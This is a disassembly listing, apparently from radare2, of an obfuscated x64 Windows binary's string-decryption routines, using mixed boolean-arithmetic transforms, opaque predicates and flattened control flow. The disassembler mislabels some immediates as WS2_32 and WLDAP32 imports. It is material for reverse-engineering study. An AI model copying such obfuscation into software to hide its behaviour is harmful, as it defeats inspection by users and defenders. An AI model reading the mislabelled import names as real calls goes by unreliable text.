sub r11b, 0xa
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140078052
movabs rcx, 0xf6a168d0fe6de4c2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4e
dec rdi
inc rdi
jmp 0x140078052
movabs rcx, 0x863da523cf412b2a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x26
jmp 0x140078adb
movabs rdx, 0x15d9e176a0147192
mov ecx, 1
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rcx, 0x4e08eeab7ebfab0a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x46
add cl, bl
mov byte [rbp + rdi + 0xbb8], cl
inc r9
dec rdi
inc rdi
jmp 0x140078052
movabs rcx, 0x6d443bf2d9515b2e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x42
movabs rdx, 0x863ad082165607d6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xbb8], cl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140078052
mov rbx, r10
movabs rdx, 0xc4ae966f128e44ca
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rdx, 0xbe6cb258adec64a2
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x6e
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xbb8], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x140078bec
movabs rdx, 0x8c7cb4987af7e7fe
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx ebx, r10b
movabs rcx, 0xda85a343f9b79308
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x38
add bl, cl
mov byte [rbp + rdi + 0xbb8], bl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xbb8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140078052
movabs rcx, 0x544ad2c1e3618b32
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x5e
movzx eax, byte [rbp + rdi + 0xbb8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140078052
movabs rdx, 0x98f52a3e608f1afe
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007804e
movabs rcx, 0x60c34867c8f8be32
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5e
jmp 0x140078040
lea rcx, [rbp + 0x1433840]
jmp 0x140078cca
lea rcx, [rbp + 0x8e66a6]
jmp 0x140078cca
lea rcx, [rbp + 0xbb8]
mov rdx, rsi
call fcn.140035c60
lea rdx, [0x1402261f0]
lea rcx, [rbp + 0x528]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c170]
call fcn.140069e40
mov rcx, rax
call fcn.14006b1d0
mov rsi, rax
mov byte [rbp + 0xbe0], 0xf8
mov byte [rbp + 0xbe1], 0xe8
mov byte [rbp + 0xbe2], 0xe3
mov byte [rbp + 0xbe3], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0xbe4], 0xa0
mov byte [rbp + 0xbe5], Ordinal_200
mov byte [rbp + 0xbe6], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0xbe7], 0xe2
mov byte [rbp + 0xbe8], 0xe3
mov byte [rbp + 0xbe9], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0xbea], 0xba
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xbeb], xmm0
mov qword [rbp + 0xbfb], rax
movabs r14, 0xbd8eb10ce79361ce
movabs r15, 0xff12019e8f18abf2
movabs r13, 0x731ccc2f9d9cebc6
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [0x14022c4b8]
mov r8, qword [0x14022c4b0]
nop
xor ebx, ebx
movabs rcx, 0x45fa9ab778bde016
cmp rbx, 0x23
jae 0x140079bc6
movzx edi, byte [rbp + rbx + 0xbe0]
mov r10, rdi
cmp r9, rbx
ja 0x140079bbd
lea rax, [r8 + 1]
cmp r9, rax
jae 0x140078dec
add rcx, rbx
mov rax, rdi
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rdi
add r11, rcx
add r11b, 0x66
jmp 0x140078e33
je 0x140079b2d
lea rax, [r8 + 3]
cmp r9, rax
je 0x140079a8d
lea rax, [r8 + 5]
cmp r9, rax
je 0x140079a51
lea rax, [r8 + 6]
cmp r9, rax
je 0x140079a01
lea rax, [r8 + 4]
cmp r9, rax
je 0x1400799d7
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400799a9
cmp r8, rbx
ja 0x140079bb4
lea rax, [r8 + 0x80]
cmp r9, rax
jae 0x140078e65
lea rdx, [rbx + r14]
movzx eax, dl
and al, dil
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140078eb3
lea rax, [r8 + 1]
cmp r9, rax
je 0x14007994f
lea rax, [r8 + 2]
cmp r9, rax
je 0x140079925
lea rax, [r8 + 3]
cmp r9, rax
je 0x140079901
lea rax, [r8 + 4]
cmp r9, rax
je 0x1400798ed
lea rax, [r8 + 5]
cmp r9, rax
je 0x1400798b4
lea rax, [r8 + 7]
cmp r9, rax
je 0x140079890
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x140079512
lea rax, [r8 + 1]
cmp r9, rax
je 0x1400794ee
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400794c1
lea rax, [r8 + 0x400]
cmp r9, rax
je 0x140079492
lea rax, [r8 + 0x1000]
cmp r9, rax
je 0x14007947e
lea rax, [r8 + 0x28]
cmp r9, rax
je 0x14007946a
lea rax, [r8 + 0x40]
cmp r9, rax
je 0x140079436
lea rax, [r8 + 0x42]
cmp r9, rax
je 0x140079412
lea rax, [r8 + 6]
cmp r9, rax
je 0x1400793e9
lea rax, [r8 + 8]
cmp r9, rax
je 0x1400793af
lea rax, [r8 + 0x5a]
cmp r9, rax
je 0x140078ec0
lea r9, [r8 + 0x1000]
lea r8, [r9 + 0x2a]
lea rax, [r8 + 0x61]
cmp r9, rax
jb 0x140079b8b
lea rax, [r8 + 0x7a]
cmp r9, rax
jb 0x140079b67
lea rax, [r8 + 0x42]
cmp r9, rax
jb 0x1400790b6
lea rax, [r8 + 0x64]
cmp r9, rax
jb 0x14007909b
lea rax, [r8 + 8]
cmp r9, rax
jb 0x14007907b
lea rax, [r8 + 9]
cmp r9, rax
jb 0x140079347
lea rax, [r8 + 0x2a]
cmp r9, rax
jb 0x1400792ea
lea rax, [r8 + 1]
cmp r9, rax
jb 0x14007929b
lea rax, [r8 + 0x3e8]
cmp r9, rax
jb 0x14007926c
lea rax, [r8 + 0x400]
cmp r9, rax
jb 0x140078ec0
lea r9, [r8 + 0x64]
lea r8, [r9 + 0x1000]
lea rax, [r8 + 0x80]
cmp r9, rax
ja 0x140079237
lea rax, [r8 + 9]
cmp r9, rax
ja 0x14007920e
lea rax, [r8 + 0xa]
cmp r9, rax
ja 0x1400791e5
lea rax, [r8 + 1]
cmp r9, rax
ja 0x1400791b1
lea rax, [r8 + 2]
cmp r9, rax
ja 0x14007918d
lea rax, [r8 + 3]
cmp r9, rax
ja 0x140079169
lea rax, [r8 + 0x1000]
cmp r9, rax
ja 0x14007913a
lea rax, [r8 + 0x61]
cmp r9, rax
ja 0x140079108
lea rax, [r8 + 0x40]
cmp r9, rax
ja 0x1400790e4
lea rax, [r8 + 0x42]
cmp r9, rax
ja 0x140078ec0
lea r9, [r8 + 0x10]
lea r8, [r9 + 6]
jmp 0x140078ec0
lea rdx, [rbx + r15]
movzx eax, dl
and al, dil
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140078eb3
lea rcx, [rbx + r13]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x6a
jmp 0x140078e33
movabs rcx, 0xe72796c0ac212b9a
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x36
movabs rcx, 0x45fa9ab778bde016
jmp 0x140078dbe
movabs rcx, 0xec7588673c9b0e70
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x10
jmp 0x140079973
movabs rdx, 0x608052f84b1f4e44
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
inc r8
dec rbx
inc rbx
jmp 0x140078da2
movabs rdx, 0xd48b1d8959a38e18
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
dec rbx
inc rbx
jmp 0x140078da2
movabs rcx, 0x4895e81a6827cdec
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x74
jmp 0x140079a25
movabs rcx, 0xbca0b2ab76ac0dc0
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x40
jmp 0x140079a75
movabs rcx, 0x30ab7d3c85304d94
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0xc
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140078da2
movabs rdx, 0xa4b647cd93b48d68
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140079ab3
movabs rdx, 0x18c1125ea238cd3c
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140079ae3
movabs rcx, 0x8ccbdcefb0bd0d10
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x70
movzx eax, byte [rbp + rbx + 0xbe0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140078da2
movabs rcx, 0x2ee6d75a5507aca2
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x6e
mov byte [rbp + rbx + 0xbe0], r11b
inc rbx
jmp 0x140078da2
movabs rcx, 0xa2f1a1eb638bec76
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x3a
cmp r8, 0x64
jb 0x14007928b
movabs rcx, 0xe1d9a51a1ba748c4
add rcx, rbx
movzx eax, cl
and al, dil
mov edx, reloc.WS2_32.dll_select
sub dl, al
add dl, dl
add dl, cl
add dl, dil
lea r11d, [rdx + rdx]
jmp 0x140079973
movabs rcx, 0x16fc6c7c72102c4a
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 6
cmp r9, 0x1000
jae 0x140079834
lea rax, [r8 + 0x2a]
cmp r9, rax
jbe 0x1400796fe
movabs rcx, 0x6a458ec4acd1c70c
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x54
jmp 0x1400792ba
movabs rdx, 0x8b07370d80946c1e
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
lea rax, [r8 + r9]
cmp rax, 0xa
je 0x14007985f
lea rax, [r8 + 5]
cmp r9, rax
jbe 0x140079605
movabs rdx, 0xacb6ddb7c53e653e
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140079309
movabs rdx, 0x7158264d6d744ad4
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rbp + rbx + 0xbe0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140078da2
movabs rdx, 0xe562f0de7bf88aa8
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140079ae3
movabs rcx, 0x596dbb6f8a7cca7c
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x64
jmp 0x140079ab3
movabs rcx, 0xcd78860099010a50
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x30
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140078da2
movabs rdx, 0x41835091a7854a24
mov ecx, 2
jmp 0x140079a60
movabs rdx, 0xb58e1b22b60989f8
mov ecx, Ordinal_30
jmp 0x140079a10
movabs rdx, 0x2998e5b3c48dc9cc
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
dec rbx
inc rbx
jmp 0x140078da2
movabs rcx, 0x9da3b044d31209a0
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x60
inc r8
dec rbx
inc rbx
jmp 0x140078da2
movabs rcx, 0x11ae7ad5e1964974
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x2c
jmp 0x140079973
lea rax, [r8 + 6]
cmp r9, rax
jae 0x140079538
movabs rdx, 0x45fa9ab778bde016
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 0x33
jmp 0x14007935f
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140079576
movabs rcx, 0x7b1d6219cf26c39c
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x44
movzx eax, byte [rbp + rbx + 0xbe0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140078da2
inc rax
cmp r9, rax
jne 0x1400795a2
movabs rcx, 0x7129788c0a283c8
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x78
jmp 0x140079ae3
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1400795d4
movabs rdx, 0x9307ccf7b21e43f4
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140079ab3
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14007936b
movabs rcx, 0xaaf237d59515c44c
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x14
jmp 0x140079a75
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140079622
movabs rdx, 0x38ac1326b6ba256a
mov ecx, reloc.WS2_32.dll_listen
jmp 0x14007995e
inc rax
cmp r9, rax
jne 0x140079658
movabs rcx, 0xc4a14895a835e596
add rcx, rbx
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r11d, [rcx + rdi]
sub r11b, 0x1a
inc r8
dec rbx
inc rbx
jmp 0x140078da2
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140079675
movabs rdx, 0x6880e8e27ca9261a
mov ecx, Ordinal_41
jmp 0x140079a60
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400796b7
movabs rdx, 0xf4761e516e24e646
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140078da2
lea rax, [r8 + 4]
cmp r9, rax
jne 0x140079309
movabs rdx, 0x9855be9e429826ca
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rbp + rbx + 0xbe0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140078da2
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140079741
movabs rdx, 0xf63ac4339e4d8738
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rbp + rbx + 0xbe0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140078da2
lea rax, [r8 + 2]
cmp r9, rax
jne 0x140079773
movabs rdx, 0xe252f1181450790
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140079ab3
lea rax, [r8 + 4]
cmp r9, rax
jne 0x1400797a0
movabs rcx, 0x260f99ef643c87e8
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x58
jmp 0x140079a75
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400797bd
movabs rdx, 0xb204cf5e55b84814
mov ecx, Ordinal_60
jmp 0x140079a10
lea rax, [r8 + 7]
cmp r9, rax
jne 0x1400797f5
movabs rdx, 0x3dfa04cd47340840
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
dec rbx
inc rbx
jmp 0x140078da2
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400792ba
movabs rdx, 0xc9ef3a3c38afc86c
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
inc r8
dec rbx
inc rbx
jmp 0x140078da2
movabs rdx, 0x6dceda890d2308f0
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rbx + 0xbe0]
jmp 0x140079a1f
movabs rdx, 0xf9c40ff7fe9ec91c
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rbx + 0xbe0]
add r11b, dl
add r11b, dil
jmp 0x140079ab3
movabs rcx, 0x9143271581f5a302
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0xe
jmp 0x140079ab3
movabs rdx, 0x54df1a69079e2d6
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140078da2
movabs rdx, 0x7958bc379efe22aa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
jmp 0x140079a60
movabs rcx, 0xed6386c8ad82627e
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x72
jmp 0x140079a25
movabs rcx, 0x616e5159bc06a252
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x3e
dec rbx
inc rbx
jmp 0x140078da2
movabs rdx, 0x4983e67bd90f21fa
mov ecx, reloc.WS2_32.dll_setsockopt
add rdx, rbx
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movabs rdx, 0x27d43fd1946528da
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 5
sub cl, al
add cl, cl
add cl, dl
add cl, dil
mov byte [rbp + rbx + 0xbe0], cl
inc r8
dec rbx
inc rbx
jmp 0x140078da2
movabs rcx, 0xa5a4462f049be176
add rcx, rbx
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r11d, [rcx + rdi]
sub r11b, 0x3a
inc r8
dec rbx
inc rbx
jmp 0x140078da2
movabs rcx, 0x19af10c01320214a
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 6
dec rbx
inc rbx
jmp 0x140078da2
movabs rdx, 0x8db9db5121a4611e
mov ecx, reloc.WS2_32.dll_socket
add rdx, rbx
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movabs rdx, 0xb3c9754085e0e906
add rdx, rbx
movzx eax, dl
and al, dil
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x2a
add cl, dl
add cl, dil
mov byte [rbp + rbx + 0xbe0], cl
jmp 0x140079a75
movabs rdx, 0x1c4a5e23028a0f2
mov ecx, Ordinal_50
add rdx, rbx
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
add r9, r8
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140078da2
mov rdi, r10
movabs rdx, 0xe9da3b044d31209a
add rdx, rbx
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x36
add r11b, dl
movabs rcx, 0x3fbeaaaf775ca932
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x5e
add cl, dil
movzx eax, cl
mov byte [rbp + rbx + 0xbe0], al
inc r8
add rax, r8
sub rbx, rax
movabs rdx, 0x85b94566f01a8948
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 4
sub cl, al
add cl, cl
add cl, dl
add cl, dil
mov byte [rbp + rbx + 0xbe0], cl
inc r9
mov rax, r12
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0xbe0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140078da2
movabs rdx, 0xd1efd0266a39a042
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0xbe0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140078da2
movabs rcx, 0x5b326151baa56b6e
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 2
jmp 0x140078d9e
movabs rdx, 0xcf3d2be2c929ab42
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140078d83
lea rcx, [rbp + 0x1529aa8]
jmp 0x140079bcd
lea rcx, [rbp + 0xd07abe]
jmp 0x140079bcd
lea rcx, [rbp + 0xbe0]
mov rdx, rsi
call fcn.140035c60
lea rdx, [0x1402260b0]
lea rcx, [rbp + 0x548]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c170]
call fcn.140069e40
mov rcx, rax
call fcn.14006b1d0
mov rsi, rax
mov byte [rbp + 0xc08], 0x54
mov byte [rbp + 0xc09], Ordinal_50
mov byte [rbp + 0xc0a], 9
mov byte [rbp + 0xc0b], 7
mov byte [rbp + 0xc0c], Ordinal_41
mov byte [rbp + 0xc0d], reloc.WS2_32.dll_send
mov byte [rbp + 0xc0e], Ordinal_41
mov byte [rbp + 0xc0f], Ordinal_45
mov byte [rbp + 0xc10], 0x60
mov byte [rbp + 0xc11], 0x42
mov byte [rbp + 0xc12], Ordinal_45
mov byte [rbp + 0xc13], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0xc14], Ordinal_50
mov byte [rbp + 0xc15], Ordinal_41
mov byte [rbp + 0xc16], Ordinal_143
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc17], xmm0
mov dword [rbp + 0xc27], eax
movabs r14, 0xc24d65e75bfa85dc
movabs r15, 0x1e7a34ca9dc35da4
movabs r13, 0x92114fa8643dcacc
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor edi, edi
movabs rdx, 0x463472911cc2c96c
cmp rdi, 0x23
jae 0x14007aa4a
movzx ebx, byte [rbp + rdi + 0xc08]
mov r10, rbx
cmp r8, rdi
ja 0x14007aa41
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140079d0d
lea rcx, [rdi + rdx]
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
add r11b, 0xc
jmp 0x140079d60
je 0x14007a9ae
inc rax
cmp r8, rax
je 0x14007a93e
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007a8e3
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007a8ad
lea rax, [r9 + 7]
cmp r8, rax
je 0x14007a884
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007a858
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007a806
cmp r9, rdi
ja 0x14007aa38
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x140079d89
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 4
jmp 0x140079dd0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007a7e1
inc rax
cmp r8, rax
je 0x14007a7b3
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007a766
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007a73e
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007a70a
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14007a43f
nop dword [rax]
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14007a41a
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007a3e9
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007a3bb
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14007a393
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14007a370
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14007a33d
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14007a319
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14007a2f5
lea rax, [r9 + 8]
cmp r8, rax
je 0x14007a2c1
lea rax, [r9 + 6]
cmp r8, rax
je 0x140079de0
lea r8, [r9 + 2]
lea r9, [r8 + 0x42]
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14007aa10
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14007a9e8
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140079fd1
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140079fb2
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140079f98
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14007a25d
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14007a201
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14007a1b5
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14007a187
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140079de0
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14007a14e
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14007a126
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14007a0fe
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14007a0c6
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14007a0a3
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14007a07c
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14007a053
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14007a027
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14007a003
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140079de0
lea r8, [r9 + 5]
lea r9, [r8 + 0x200]
jmp 0x140079de0
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7c
jmp 0x140079dd0
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140079d60
movabs rdx, 0x5a86a862ab837f4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
